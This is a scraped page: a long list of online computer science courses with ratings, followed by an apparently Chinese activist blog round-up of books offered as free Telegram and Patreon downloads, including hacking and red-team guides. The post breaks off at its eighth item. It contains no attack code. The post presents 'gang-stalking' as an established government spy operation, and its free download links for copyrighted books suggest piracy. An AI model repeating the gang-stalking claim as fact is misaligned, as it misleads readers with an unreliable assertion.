- Machine Learning: Unsupervised Learning from *Brown University* ★★★★☆(1)
- Advanced Algorithms and Complexity from *University of California, San Diego* ★★★☆☆(1)
- Software Architecture & Design from *Georgia Institute of Technology* ★★★★★(1)
- Responsive Website Tutorial and Examples from *University of London International Programmes* ★★★★★(1)
- Managing an Agile Team from *University of Virginia* ★★☆☆☆(1)
- MATLAB and Octave for Beginners from *École Polytechnique Fédérale de Lausanne* ★☆☆☆☆(1)
- Web Application Development: Basic Concepts from *University of New Mexico* ★★★★☆(1)
- Android: Introducción a la Programación from *Universitat Politècnica de València* ★★★★☆(1)
- Algorithms from *Indian Institute of Technology Bombay* ★★★★★(1)
- JavaScript Promises from *Google* ★★★★★(1)
- Android Basics: Multiscreen Apps from *Google* ★★★★☆(1)

- Developing Scalable Apps in Java from *Google* ★★★★☆(1)
- Developing Scalable Apps in Python from *Google* ★★★★☆(1)
- Gradle for Android and Java from *Google* ★★★★★(1)
- Google Cloud Platform Fundamentals: Core Infrastructure from *Google* ★★★★☆(1)
- Principles of Machine Learning from *Microsoft* ★★★★★(1)
- 用Python玩转数据 Data Processing Using Python from *Nanjing University* ★★★★★(1)
- Cybersecurity and Mobility from *University System of Georgia* ★☆☆☆☆(1)
- A developer's guide to the Internet of Things (IoT) from *IBM* ★★★★☆(1)
- Technical Interview from *Pramp* ★★★★★(1)
- HTML5 Apps and Games from *World Wide Web Consortium (W3C)* ★★★☆☆(1)
- Networking for Web Developers
- Intro to Theoretical Computer Science
- Using Python for Research from *Harvard University*
- Algorithms: Design and Analysis from *Stanford University*
- Graph Search, Shortest Paths, and Data Structures from *Stanford University*
- Shortest Paths Revisited, NP-Complete Problems and What To Do About Them from *Stanford University*
- Probabilistic Graphical Models 3: Learning from *Stanford University*
- Greedy Algorithms, Minimum Spanning Trees, and Dynamic Programming from *Stanford University*
- Divide and Conquer, Sorting and Searching, and Randomized Algorithms from *Stanford University*
- Algorithms: Design and Analysis, Part 2 from *Stanford University*
- Language, Proof and Logic from *Stanford University*
- Advanced Software Construction in Java from *Massachusetts Institute of Technology*
- Mobile Application Experiences from *Massachusetts Institute of Technology*
- Mobile Application Experiences Part 3: Building Mobile Apps from *Massachusetts Institute of Technology*
- Computation Structures 2: Computer Architecture from

Massachusetts Institute of Technology

- Foundations of Data Science: Prediction and Machine Learning from *University of California, Berkeley*
- Bitcoin and Cryptocurrencies from *University of California, Berkeley*
- Blockchain Technology from *University of California, Berkeley*
- Algorithm Design and Analysis from *University of Pennsylvania*
- Data Structures and Software Design from *University of Pennsylvania*
- Introduction to Neurohacking In R from *Johns Hopkins University*
- Toward the Future of iOS Development with Swift from *University of California, Irvine*
- Games, Sensors and Media from *University of California, Irvine*
- Networking and Security in iOS Applications from *University of California, Irvine*
- Building Web Applications in PHP from *University of Michigan*
- Introduction to Machine Learning from *Duke University*
- Computer Science: Algorithms, Theory, and Machines from *Princeton University*
- Introduction to Graduate Algorithms from *Georgia Institute of Technology*
- Software Analysis & Testing from *Georgia Institute of Technology*
- Database Systems Concepts & Design from *Georgia Institute of Technology*
- Database Systems Concepts and Design from *Georgia Institute of Technology*
- Animation and CGI Motion from *Columbia University*
- Data Analytics Foundations for Accountancy II from *University of Illinois at Urbana-Champaign*
- How Virtual Reality Works from *University of California, San Diego*
- Creating Virtual Reality (VR) Apps from *University of California, San Diego*
- Algorithmic Design and Techniques from *University of California, San Diego*
- Data Structures: An Active Learning Approach from *University of California, San Diego*
- Minecraft, Coding and Teaching from *University of California,*

San Diego

- Internet of Things: Sensing and Actuation From Devices from *University of California, San Diego*
- Machine Learning Fundamentals from *University of California, San Diego*
- String Processing and Pattern Matching Algorithms from *University of California, San Diego*
- Data Structures Fundamentals from *University of California, San Diego*
- Graph Algorithms from *University of California, San Diego*
- Programming Languages, Part B from *University of Washington*
- Programming Languages, Part C from *University of Washington*
- Finding Your Cybersecurity Career Path from *University of Washington*
- Building a Cybersecurity Toolkit from *University of Washington*
- Cybersecurity: The CISO's View from *University of Washington*
- Mathematics for Computer Science from *University of London International Programmes*
- 3D Models for Virtual Reality from *University of London International Programmes*
- Decentralized Applications (Dapps) from *University at Buffalo*
- Blockchain Basics from *University at Buffalo*
- Blockchain Platforms from *University at Buffalo*
- Smart Contracts from *University at Buffalo*
- 算法设计与分析 Design and Analysis of Algorithms from *Peking University*
- 面向对象技术高级课程（The Advanced Object-Oriented Technology） from *Peking University*
- How to Code: Systematic Program Design—Part 2 from *The University of British Columbia*
- How to Code: Systematic Program Design—Part 3 from *The University of British Columbia*
- Software Construction: Object-Oriented Design from *The University of British Columbia*
- How to Code: Complex Data from *The University of British Columbia*
- Software Construction: Data Abstraction from *The University of British Columbia*
- Running Product Design Sprints from *University of Virginia*
- Testing with Agile from *University of Virginia*

- NoSQL Database Systems from *Arizona State University*
- Moving to the Cloud from *University of Melbourne*
- SQL for Data Science from *University of California, Davis*
- LAFF—On Programming for Correctness from *The University of Texas at Austin*
- Документы и презентации в LaTeX (Introduction to LaTeX) from *Higher School of Economics*
- Lean Software Development from *University of Minnesota*
- Agile Software Development from *University of Minnesota*
- Software Development Processes and Methodologies from *University of Minnesota*
- Android App Components—Services, Local IPC, and Content Providers from *Vanderbilt University*
- Engineering Maintainable Android Apps from *Vanderbilt University*
- Android App Components—Intents, Activities, and Broadcast Receivers from *Vanderbilt University*
- Front-End JavaScript Frameworks: Angular from *The Hong Kong University of Science and Technology*
- Multiplatform Mobile App Development with Web Technologies: Ionic and Cordova from *The Hong Kong University of Science and Technology*
- Developing Android Apps with App Inventor from *The Hong Kong University of Science and Technology*
- Front-End Web UI Frameworks and Tools: Bootstrap 4 from *The Hong Kong University of Science and Technology*
- Server-side Development with NodeJS, Express and MongoDB from *The Hong Kong University of Science and Technology*
- Front-End Web Development with React from *The Hong Kong University of Science and Technology*
- Multiplatform Mobile App Development with NativeScript from *The Hong Kong University of Science and Technology*
- Multiplatform Mobile App Development with React Native from *The Hong Kong University of Science and Technology*
- Global Software Development from *Delft University of Technology*
- Automated Software Testing: Advanced Skills for Java Developers from *Delft University of Technology*
- Automated Software Testing: Practical Skills for Java Developers from *Delft University of Technology*

- Разработка веб-сервисов на Golang, часть 2 from *Moscow Institute of Physics and Technology*
- Building Arduino robots and devices from *Moscow Institute of Physics and Technology*
- Введение в iOS-разработку from *Moscow Institute of Physics and Technology*
- Основы HTML и CSS from *Moscow Institute of Physics and Technology*
- Быстрый старт в разработке Android-приложений from *Moscow Institute of Physics and Technology*
- Relational database systems from *Universidad Nacional Autónoma de México*
- NoSQL systems from *Universidad Nacional Autónoma de México*
- Fundamentos de Android from *Universidad Nacional Autónoma de México*
- Foundations of Data Structures from *Indian Institute of Technology Bombay*
- Implementation of Data Structures from *Indian Institute of Technology Bombay*
- Professional Android App Development from *Galileo University*
- Сетевое администрирование: от теории к практике from *Tsinghua University*
- Enterprise Software Lifecycle Management from *National Research Nuclear University MEPhI*
- Использование механизмов операционных систем в разработке программного обеспечения from *National Research Nuclear University MEPhI*
- Introduction to Java Programming: Fundamental Data Structures and Algorithms from *Universidad Carlos iii de Madrid*
- The Software Architect Code: Building the Digital World from *Universidad Carlos iii de Madrid*
- Object-Oriented Design from *University of Alberta*
- Software Architecture from *University of Alberta*
- Reviews & Metrics for Software Improvements from *University of Alberta*
- Service-Oriented Architecture from *University of Alberta*
- Design Patterns from *University of Alberta*
- Software Architecture for the Internet of Things from *EIT*

Digital
- Introduction to Architecting Smart IoT Devices from *EIT Digital*
- Web Connectivity and Security in Embedded Systems from *EIT Digital*
- Architecting Smart IoT Devices from *EIT Digital*
- Intro to Data Structures and Algorithms from *Google*
- Google Cloud Platform Fundamentals for AWS Professionals from *Google Cloud*
- Android Performance from *Google*
- Advanced Android App Development from *Google*
- Material Design for Android Developers from *Google*
- Firebase Essentials For Android from *Google*
- Offline Web Applications from *Google*
- Android Basics: User Input from *Google*
- Developing Android Apps with Kotlin from *Google*
- Scalable Microservices with Kubernetes from *Google*
- Google Maps APIs from *Google*
- Client-Server Communication from *Google*
- VR Software Development from *Google*
- Intro to Progressive Web Apps from *Google*
- Android Basics: Networking from *Google*
- Android Basics: Button Clicks from *Google*
- Android Basics: User Interface from *Google*
- AngularJS: Advanced Framework Techniques from *Microsoft*
- AngularJS: Framework Fundamentals from *Microsoft*
- Creating Programmatic SQL Database Objects from *Microsoft*
- Developing Intelligent Apps and Bots from *Microsoft*
- Optimizing Performance for SQL Based Applications from *Microsoft*
- Introduction to TypeScript 2 from *Microsoft*
- Algorithms and Data Structures in C# from *Microsoft*
- Building Functional Prototypes using Node.js from *Microsoft*
- Introduction to C# from *Microsoft*
- Implementing In-Memory SQL Database Objects from *Microsoft*
- Application Design Considerations: An Inclusive Approach from *Microsoft*
- Designing Data Platform Solutions from *Microsoft*
- Building Interactive Prototypes using JavaScript from

Microsoft

- Developing SQL Databases from *Microsoft*
- Advanced CSS Concepts from *Microsoft*
- Algorithms and Data Structures from *Microsoft*
- Applied Machine Learning from *Microsoft*
- Build a Modern Computer from First Principles: Nand to Tetris Part II (project-centered course) from *Hebrew University of Jerusalem*
- Programmation iOS (partie II) from *Sorbonne Universités*
- Programmation iOS (partie I) from *Sorbonne Universités*
- Introduction to Data Structures from *University of Adelaide*
- Fundamentals of Machine Learning from *Santa Fe Institute*
- Introduction to Computation Theory from *Santa Fe Institute*
- Cloud Computing Security from *University of Colorado System*
- Software Requirements Prioritization: Risk Analysis from *University of Colorado System*
- SRS Documents: Requirements and Diagrammatic Notations from *University of Colorado System*
- Linux Server Management and Security from *University of Colorado System*
- Requirements Elicitation: Artifact and Stakeholder Analysis from *University of Colorado System*
- Requirements Gathering for Secure Software Development from *University of Colorado System*
- Requirements Specifications: Goals and Conflict Analysis from *University of Colorado System*
- Basic Cryptography and Programming with Crypto API from *University of Colorado System*
- Detecting and Mitigating Cyber Threats and Attacks from *University of Colorado System*
- Intermediate Object-Oriented Programming for Unity Games from *University of Colorado System*
- Peer-to-Peer Protocols and Local Area Networks from *University of Colorado System*
- Design and Analyze Secure Networked Systems from *University of Colorado System*
- Introduction to Web Cartography: Part 1 from *ETH Zurich*
- Introduction to C# Programming and Unity from *University of Colorado System*
- Hacking and Patching from *University of Colorado System*

- Fundamentals of Network Communication from *University of Colorado System*
- More C# Programming and Unity from *University of Colorado System*
- Packet Switching Networks and Algorithms from *University of Colorado System*
- Asymmetric Cryptography and Key Management from *University of Colorado System*
- Symmetric Cryptography from *University of Colorado System*
- Software Design Threats and Mitigations from *University of Colorado System*
- Homeland Security & Cybersecurity Connection—It's Not About the Terrorists from *University of Colorado System*
- Data Structures and Design Patterns for Game Developers from *University of Colorado System*
- 2D Game Development with libGDX from *Amazon*
- Introduction to DevOps: Transforming and Improving Operations from *Linux Foundation*
- Introduction to Cloud Infrastructure Technologies from *Linux Foundation*
- Machine Learning for Musicians and Artists from *Goldsmiths, University of London*
- Cybersecurity and the X-Factor from *University System of Georgia*
- Cybersecurity and the Internet of Things from *University System of Georgia*
- Cybersecurity and Privacy in the IoT from *Curtin University*
- Orientação a Objetos com Java from *Instituto Tecnológico de Aeronáutica*
- IoT System Architecture: Design and Evaluation from *Waseda University*
- Mobile Design and Usability for Android from *Facebook*
- Web App Development with the Power of Node.js from *Technische Universität München (Technical University of Munich)*
- Mobile Design and Usability for iOS from *Facebook*
- A Developer's guide to Node-RED from *IBM*
- Getting started with Augmented Reality from *Institut Mines-Télécom*
- Teamwork & Collaboration from *Rochester Institute of*

Technology

- Advanced Algorithmics and Graph Theory with Python from *Institut Mines-Télécom*
- Gameplay Programming for Video Game Designers from *Rochester Institute of Technology*
- Overview of Advanced Methods of Reinforcement Learning in Finance from *New York University (NYU)*
- Cybersecurity Fundamentals from *Rochester Institute of Technology*
- UML Class Diagrams for Software Engineering from *KU Leuven University*
- Fundamentals of Machine Learning in Finance from *New York University (NYU)*
- Real-Time Cyber Threat Detection and Mitigation from *New York University (NYU)*
- Guided Tour of Machine Learning in Finance from *New York University (NYU)*
- Introdução ao Teste de Software from *Universidade de São Paulo*
- Programming for Everyone—An Introduction to Visual Programming Languages from *Weizmann Institute of Science*
- How to Win Coding Competitions: Secrets of Champions from *ITMO University*
- Concurrency from *AdaCore University*
- Cloud Computing Infrastructure from *University System of Maryland*
- Desarrollo de Aplicaciones Mobile Multiplataforma con Nativescript, Angular y Redux from *Universidad Austral*
- Cloud Computing Management from *University System of Maryland*
- Software Testing Management from *University System of Maryland*
- Software Testing Fundamentals from *University System of Maryland*
- Cloud Computing for Enterprises from *University System of Maryland*
- Formal Software Verification from *University System of Maryland*
- Intro to TensorFlow for Deep Learning
- iOS Persistence and Core Data

- Learn Backbone.js
- Diseño de Sistemas de información gerencial para Internet con MySQL / PHP y Joomla from *Universidad del Rosario*
- How to create in Android
- How to Make an iOS App
- iOS Networking with Swift
- UIKit Fundamentals
- An Introduction to Practical Deep Learning from *Intel*
- Fundamentals of Containers, Kubernetes, and Red Hat OpenShift from *Red Hat*
- Designing RESTful APIs
- Hacker101 from *HackerOne*
- Introduction: Elements of Microgame Design from *Worcester Polytechnic Institute*
- Fundamentals of Red Hat Enterprise Linux from *Red Hat*
- Dynamic Web Applications with Sinatra
- Deploying Applications with Heroku
- Android Basics: Data Storage
- VR Platforms & Applications
- VR Design
- VR Scenes and Objects
- Fundamentals of Parallelism on Intel Architecture from *Intel*
- Developing Android Apps
- Swift for Developers
- Building iOS Interfaces
- iOS Design Patterns
- SQL for Data Analysis

高级 (134个)

- Machine Learning Foundations: A Case Study Approach from *University of Washington* ★★★★☆(38)
- Machine Learning: Regression from *University of Washington* ★★★★★(18)
- Machine Learning for Data Science and Analytics from *Columbia University* ★★★☆☆(15)
- Probabilistic Graphical Models 1: Representation from *Stanford University* ★★★★☆(14)
- Intro to Deep Learning from *Google* ★★☆☆☆(13)
- Creative Applications of Deep Learning with TensorFlow

- Machine Learning With Big Data from *University of California, San Diego* ★★☆☆☆(12)
- Machine Learning for Trading from *Georgia Institute of Technology* ★★★☆☆(11)
- Hardware Security from *University of Maryland, College Park* ★★★☆☆(11)
- Bitcoin and Cryptocurrency Technologies from *Princeton University* ★★★★☆(10)
- Introduction to Artificial Intelligence from *Stanford University* ★★★★★(9)
- Computational Neuroscience from *University of Washington* ★★★★☆(8)
- Reinforcement Learning from *Brown University* ★★☆☆☆(6)
- Machine Learning: Classification from *University of Washington* ★★★★★(6)
- Intro to Parallel Programming from *Nvidia* ★★★★☆(6)
- Advanced Operating Systems from *Georgia Institute of Technology* ★★★★★(5)
- Enabling Technologies for Data Science and Analytics: The Internet of Things from *Columbia University* ★☆☆☆☆(5)
- Interactive 3D Graphics from *Autodesk* ★★★★★(5)
- Machine Learning from *Georgia Institute of Technology* ★★★★★(4)
- Applied Cryptography from *University of Virginia* ★★★★☆(4)
- Parallel programming from *École Polytechnique Fédérale de Lausanne* ★★★★☆(4)
- Introduction to Computer Architecture from *Carnegie Mellon University* ★★★★★(4)
- Probabilistic Graphical Models 2: Inference from *Stanford University* ★★★★☆(3)
- Practical Predictive Analytics: Models and Methods from *University of Washington* ★★☆☆☆(3)
- Machine Learning: Clustering & Retrieval from *University of Washington* ★★★★★(3)
- Regression Modeling in Practice from *Wesleyan University* ★★★★☆(3)
- Quantitative Formal Modeling and Worst-Case Performance Analysis from *EIT Digital* ★★★☆☆(3)
- Nearest Neighbor Collaborative Filtering from *University of*

Minnesota ★★☆☆☆(2)
- High Performance Computer Architecture from *Georgia Institute of Technology* ★★★★★(1)
- Computational Photography from *Georgia Institute of Technology* ★★★★☆(1)
- Computability, Complexity & Algorithms from *Georgia Institute of Technology* ★★★★★(1)
- Introduction to Operating Systems from *Georgia Institute of Technology* ★★★★★(1)
- Artificial Intelligence (AI) from *Columbia University* ★☆☆☆☆(1)
- Cloud Computing Applications, Part 2: Big Data and Applications in the Cloud from *University of Illinois at Urbana-Champaign* ★★★★☆(1)
- Relational Database Support for Data Warehouses from *University of Colorado System* ★★☆☆☆(1)
- Practical Deep Learning For Coders, Part 1 from *fast.ai* ★★★★★(1)
- Neural Networks and Deep Learning from *deeplearning.ai*
- Structuring Machine Learning Projects from *deeplearning.ai*
- Sequence Models from *deeplearning.ai*
- Improving Deep Neural Networks: Hyperparameter tuning, Regularization and Optimization from *deeplearning.ai*
- Real-Time Audio Signal Processing in Faust from *Stanford University*
- 6.S191: Introduction to Deep Learning from *Massachusetts Institute of Technology*
- 6.S094: Deep Learning for Self-Driving Cars from *Massachusetts Institute of Technology*
- Computation Structures 3: Computer Organization from *Massachusetts Institute of Technology*
- Applied Machine Learning in Python from *University of Michigan*
- Artificial Intelligence from *Georgia Institute of Technology*
- Cyber-Physical Systems Design & Analysis from *Georgia Institute of Technology*
- Compilers: Theory and Practice from *Georgia Institute of Technology*
- Machine Learning from *Georgia Institute of Technology*
- Cyber-Physical Systems Security from *Georgia Institute of*

Technology
- Machine Learning from *Georgia Institute of Technology*
- GT—Refresher—Advanced OS from *Georgia Institute of Technology*
- High Performance Computing from *Georgia Institute of Technology*
- Intro to Information Security from *Georgia Institute of Technology*
- Knowledge-Based AI: Cognitive Systems from *Georgia Institute of Technology*
- Network Security from *Georgia Institute of Technology*
- Machine Learning from *Columbia University*
- NP-Complete Problems from *University of California, San Diego*
- Distributed Programming in Java from *Rice University*
- Concurrent Programming in Java from *Rice University*
- Parallel Programming in Java from *Rice University*
- Making Your First Virtual Reality Game from *University of London International Programmes*
- Information Security: Context and Introduction from *University of London International Programmes*
- State Estimation and Localization for Self-Driving Cars from *University of Toronto*
- Advanced Modeling for Discrete Optimization from *University of Melbourne*
- Basic Modeling for Discrete Optimization from *University of Melbourne*
- Solving Algorithms for Discrete Optimization from *University of Melbourne*
- MATLAB et Octave pour débutants from *École Polytechnique Fédérale de Lausanne*
- Nature, in Code: Biology in JavaScript from *École Polytechnique Fédérale de Lausanne*
- Менеджмент информационной безопасности from *Higher School of Economics*
- Introduction to Deep Learning from *Higher School of Economics*
- Addressing Large Hadron Collider Challenges by Machine Learning from *Higher School of Economics*
- Методы и средства защиты информации from *Higher School of Economics*

- Introduction to Formal Concept Analysis from *Higher School of Economics*
- Обработка изображений from *Higher School of Economics*
- Bayesian Methods for Machine Learning from *Higher School of Economics*
- Practical Reinforcement Learning from *Higher School of Economics*
- Deep Learning in Computer Vision from *Higher School of Economics*
- Recommender Systems: Evaluation and Metrics from *University of Minnesota*
- Introduction to Recommender Systems: Non-Personalized and Content-Based from *University of Minnesota*
- Matrix Factorization and Advanced Techniques from *University of Minnesota*
- Modeling and Debugging Embedded Systems from *University of Colorado Boulder*
- Embedded Software and Hardware Architecture from *University of Colorado Boulder*
- Sesenta años de inteligencia artificial from *Universidad Nacional Autónoma de México*
- Razonamiento artificial from *Universidad Nacional Autónoma de México*
- 機器學習基石下 (Machine Learning Foundations)—-Algorithmic Foundations from *National Taiwan University*
- 人工智慧：搜尋方法與邏輯推論 (Artificial Intelligence—Search & Logic) from *National Taiwan University*
- 大数据机器学习 from *Tsinghua University*
- Discrete Mathematics from *Shanghai Jiao Tong University*
- Introducción a la visión por computador: desarrollo de aplicaciones con OpenCV from *Universidad Carlos iii de Madrid*
- System Validation (2): Model process behaviour from *EIT Digital*
- Embedded Hardware and Operating Systems from *EIT Digital*
- System Validation (3): Requirements by modal formulas from *EIT Digital*
- System Validation: Automata and behavioural equivalences from *EIT Digital*
- System Validation (4): Modelling Software, Protocols, and other behaviour from *EIT Digital*

- Approximation Algorithms from *EIT Digital*
- Machine Learning Crash Course with TensorFlow APIs from *Google*
- Learn TensorFlow and deep learning, without a Ph.D. from *Google*
- Deep Learning Explained from *Microsoft*
- Infrastructure as Code from *Microsoft*
- Introduction to Artificial Intelligence (AI) from *Microsoft*
- DevOps Practices and Principles from *Microsoft*
- DevOps Testing from *Microsoft*
- DevOps for Databases from *Microsoft*
- Sparse Representations in Signal and Image Processing: Fundamentals from *Technion—Israel Institute of Technology*
- Sparse Representations in Image Processing: From Theory to Practice from *Technion—Israel Institute of Technology*
- Cyber-Physical Systems: Modeling and Simulation from *University of California, Santa Cruz*
- Statistical Machine Learning from *Carnegie Mellon University*
- Cryptographic Hash and Integrity Protection from *University of Colorado System*
- Classical Cryptosystems and Core Concepts from *University of Colorado System*
- Cryptography and Information Theory from *University of Colorado System*
- Introduction to Cloud Foundry and Cloud Native Software Architecture from *Linux Foundation*
- Blockchain for Business—An Introduction to Hyperledger Technologies from *Linux Foundation*
- Introduction to OpenStack from *Linux Foundation*
- Approximation Algorithms Part II from *École normale supérieure*
- Mathematics for Machine Learning: PCA from *Imperial College London*
- Reliable Distributed Algorithms, Part 2 from *KTH Royal Institute of Technology*
- Computer System Design: Advanced Concepts of Modern Microprocessors from *Chalmers University of Technology*
- Deep Learning with Tensorflow from *IBM*
- Deep Learning with Python and PyTorch from *IBM*
- Reinforcement Learning in Finance from *New York University*

(NYU)
- Deep Learning for Natural Language Processing from *University of Oxford*
- Cutting Edge Deep Learning For Coders, Part 2 from *fast.ai*
- Introduction to Machine Learning for Coders! from *fast.ai*
- Cloud Computing Security from *University System of Maryland*
- Systems and Application Security from *(ISC)²*
- Security Operations and Administration from *(ISC)²*
- Identifying, Monitoring, and Analyzing Risk and Incident Response and Recovery from *(ISC)²*
- Networks and Communications Security from *(ISC)²*
- Access Controls from *(ISC)²*
- Continuous Integration and Deployment
- Deep Learning Summer School
- Big Data Applications: Machine Learning at Scale from *Yandex*
- Introduction to TensorFlow for Artificial Intelligence, Machine Learning, and Deep Learning from *deeplearning.ai*

好啦就是这样！祝您学习愉快。💪○

原文

IYP 优秀书籍汇总2020（1 ~ 2月版）- 完全免费下载 - iyouport

免费书和纪录片

【2020年2月25日存档】今年开始，IYP的频道内容将每两个月一次汇总，以方便阅读

这是本年度第一次汇总，首先会把去年底漏掉的部分补上。

来看看 “2020” 的第一版都有哪些好书和知识资源，您可能会喜欢？

1、《The Circle》

「图」

极权主义的噩梦 ——

> “我从未想过要让这一切发生，它运作的太快了。我从没构想过这样一个世界，在这个圆圈中的所有成员都被迫执行命令，所有的统治、所有的生活组成同一个网络……曾经我们还可以选择退出，但现在不行了，“完成”已经是最后阶段，我们把所有人都锁在了圆圈里。这是极权主义的噩梦……”

上面这段话来自 Dave Eggers 在2013年写的一篇名为《圆圈》的小说，警告数字极权的灾难。我们提到它在三年前的文章中。

有些人认为这部小说是《1984》的模仿版，但是 Dave Eggers 也的确在结尾部位也就是上面这段文字中，上升到了 **奥威尔没有达到的层次**。

——它展现出一种处于 “完成” 阶段的极权主义噩梦的超人类力量。

不间断注意力的圆圈，对注意力的捕获；

每一个人都对其他所有人保持着完美透明的圆圈，绝对力量和绝对无能的圆圈 ……

您可以在这里回顾《百忧解时代》系列：

- 《百忧解时代（一）变质的竞争和时代性焦虑》
- 《百忧解时代（二）数字世界里焦躁的“新”人类》
- 《百忧解时代（三）令人沉迷的广义化自杀》

这本书在这里下载：《The Circle》：https://t.me/iyouport/6722

下载：https://www.patreon.com/posts/38154275

2、《The Players Ball: A Genius, a Con Man, and the Secret History of the Internet’s Rise》

「图」

数字色情业 ——

人类历史上是什么一直站在推动新媒介的前沿？是色情。互联网色情业究竟有多赚钱？或许超乎你的想象……

我们翻译了一本书的节选《互联网色情产业简史》，有读者对这本书感兴趣，我们上传了电子版。

在这里下载：https://t.me/iyouport/6725

下载：https://www.patreon.com/posts/38154323

3、《Hacking: Easy Hacking for Beginners—How to Hack Computers, Penetration Testing and Cracking Security》

「图」

学点黑客知识，很重要——

人们总是觉得我们提供的安全知识“太复杂了”，我承认可能的确有点，但是，只有这样才能真的起效。

反过来看，如果您知道攻击者会怎么做，您就不会觉得保护性措施“太复杂了”；并且，您可能会比我们这些倡导者更有创意，以实现效能更高的防御模式。

和 **开源情报追踪侦查技术用于防御** 的逻辑一样—— 如果您没有学习过基本的黑客知识，您的防御可能会冒着花费大量时间走错路并且依旧难以保护自己的风险。

这里是一份完整的指南，通过易于遵循的说明和屏幕截图为黑客知识打下坚实的基础，帮助您入门。

当您了解 hack 的先决条件、各种类型的 hacking、以及各种各样的攻击模式之后，您将能够在防御层面获得极大程度的提高；您甚至可以面向您的社区和组织开展渗透测试服务。

这里是您将学到的内容的预览：

- 精英黑客使用的确切工具和技巧；
- 实际代码和屏幕截图
- 编程速成课
- 进行渗透测试的渐进指南
- 发起黑客攻击的有效方法
- 设置黑客攻击的三大策略
- 如何找出可利用的计算机漏洞
- 还有更多！

Andrew Mckindsey 是一位专业计算机专家，已经在IT安全部门工作了20年。他的书可以说是黑客技术和计算机工程领域最好的书。

您可以在这里下载这本书的电子版：https://t.me/iyouport/6734

下载：https://www.patreon.com/posts/38154359

4、《The Testaments》

「图」

拒绝变态，不是一件容易事——

你有没有发现，长期的压迫和监视的恐惧会让越来越多的人开始变态？人们开始劝慰自己“监视是为了我们的安全”、“压迫是为了充满正能量的社会”、“只要我循规蹈矩就能过上安稳日子”……

你会为身边人的变态感觉诧异吗？如果是，恭喜你，这说明你还没有被腐化为废物。

埋冤那些顺从的废物已经无用，他们已经没有知觉了。人类有应对环境的生理机制，当懦弱上升至无能为力时，求生的愿望就会启动这一机制，以此来获得苟且的生存。

是基本自由的剥夺、系统性压迫的沉重将人推向了变态。

警察国家和专制政权之所以会迅速进入恶性循环—— 拖延的时间越久反抗就越难—— 正是在借助人性的懦弱。

我们在 “监视之恶系列” 的第一篇中就警告了这个问题：监视者不需要一直在看，它只需要让你害怕，你就会自动变成他们想要的样子。

政府间谍臭名昭著的 “**gang-stalking**” 行动采用的也是这种方法：让你害怕，人为制造灵异事件让你怀疑自己精神异常，操纵误解让你感觉自己已经众叛亲离、不断设置灾难让你寸步难行……

这种手段在东德时代是斯塔西最为擅长的。被称为 **非接触式酷刑**。

☞ 在这种环境下，那些能保持自己不会被变成废物的人，最终成为真正的革命者。

《The Handmaid’s Tale》（中文译作 “使女的故事”）讲述的就是这样一个社会，它是一部伟大的反抗实践。

听说这部作品在中国的声誉很好，也许人们会有所共鸣，对压迫性政权的心理共鸣？

尤其是，对反抗精神的共鸣。希望我们的推测一定程度上靠谱。

如果您对 “gang-stalking” 的操作感兴趣，可以参见这个站点，以及其他很多反抗平台（请搜索），您会发现，中国当局采用的方法几乎没有任何 “原创性”。

IYP上传了2019年出版的 《The Handmaid’s Tale》续作《遗嘱》，这是一项令人敬畏的成就，无疑将在未来几十年内被读懂。

真心希望它能在中国社会起到 **应有的作用**。

在这里下载：https://t.me/iyouport/6737

下载：https://www.patreon.com/posts/38154421

5、《Between overt disinformation and covert practice：The Russian special services' game》

「图」

政府间谍和秘密服务——

人们普遍认为，政府的秘密间谍之所以如此“成功”，是因为媒体对这类组织的普遍沉默（比如美国以前的做法，NSA 被戏称为“No Such Agency”）。

但在这方面，俄罗斯是个特例。

该国的间谍机构完全不忌讳媒体，相反，媒体不断报道该组织，因为——这是信息战的一部分。

该国间谍机构之服务神话般的形象与他们的非公开实践完全矛盾。

当那些光彩夺目的“封面”被捅破后，在记者的调查中、在反对派组织揭露的间谍机构非法行为的案件里，这些内幕才得以浮出水面。

Skripals 案就是其中一个典型。暗杀相关的舆论谴责让俄罗斯特种部队重新回到了大众的龙门阵。

俄罗斯的间谍机构需要应对来自西方国家不断加强的防御能力；但这并不意味着他们会停止他们最擅长的信息战。

相反，俄罗斯始终旨在部署各种高端的信息战方面发挥显著的优势。

俄罗斯的信息战与中国有很大的不同，整体上明显“高端”、娴熟和隐秘；我们曾经介绍过两个案例，您可以在下面回顾；

- 《虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？》
- 《信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听》

并且我们还发布了一份长篇报告，对比中国和俄罗斯的全球信息战有

什么不同，以及有哪些共性。在下面看到：

- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

关于信息战的报告，未来还将有一份更为详尽的、全球视角的具体分析。因为这个问题很严重，它已经把全球民主逼上了死角。

在这里下载这份报告：https://t.me/iyouport/6745

下载：https://www.patreon.com/posts/38154464

6、《None of Your Damn Business: Privacy in the United States from the Gilded Age to the Digital Age》

「图」

数字时代最大的谎言——

在《便利的暴政》一文中我们收到这样的回复："科技公司不就是制造便利的吗？这是理所当然的"…… 很遗憾，并不是。👉恰恰相反，"理所当然"是这些权势拼命想要让你相信的东西。

他们告诉你，面部识别、智能尿布、声控微波炉、语音助理……和所有监视设备是"必然的发展"。不，它们不是。

他们说，我们不能怪这些公司对隐私权、民主制度或对公共机构的信任的侵蚀，因为"这一切迟早都会发生"。

他们说，"怎么可能把精灵留在瓶子里呢？"他们甚至认为，人们购买这种东西是"必须必然的"。

他们说，没有人应为此责怪。就像地心引力一样自然。

⚠以上都是谎言。

实际上，这个世界是由做决策的人塑造的，技术公司也是如此。

《科技人员说出的最大谎言》一文已经详细分析这一问题，关于——数字时代最大的谎言如何诱导人们一步步沦陷。

推荐一本书，是今年热销的书籍；它从美国过去130年的历史角度上

阐述了这个问题。

在这里下载：https://t.me/iyouport/6748

下载：https://www.patreon.com/posts/38155934

7、《Geek Guide：Linux in the time of malware》

「图」

极客指南——

恶意软件的威胁范围正在不断扩大，自从第一种病毒出现以来的过去30年中，安全事件的数量呈指数级增长，平均每月有数百万个此类事件发现。

宿命论由此而生，认为世上只有两种系统：已经受到攻击的系统、和即将受到攻击的系统 ……

直接针对特定系统的特供恶意软件比“一般”恶意软件要危险得多，因此防范此类攻击至关重要。

研究证实，所有恶意软件中有70%以上都是专门定制的，并且仅使用一次，因此威胁级别特别高。

Linux 会更安全吗？

本期的极客指南讲述的就是这件事。

在这里下载：https://t.me/iyouport/6751

下载：https://www.patreon.com/posts/38155957

8、《Hands-On Red Team Tactics：A practical guide to mastering Red Team operations》

「图」

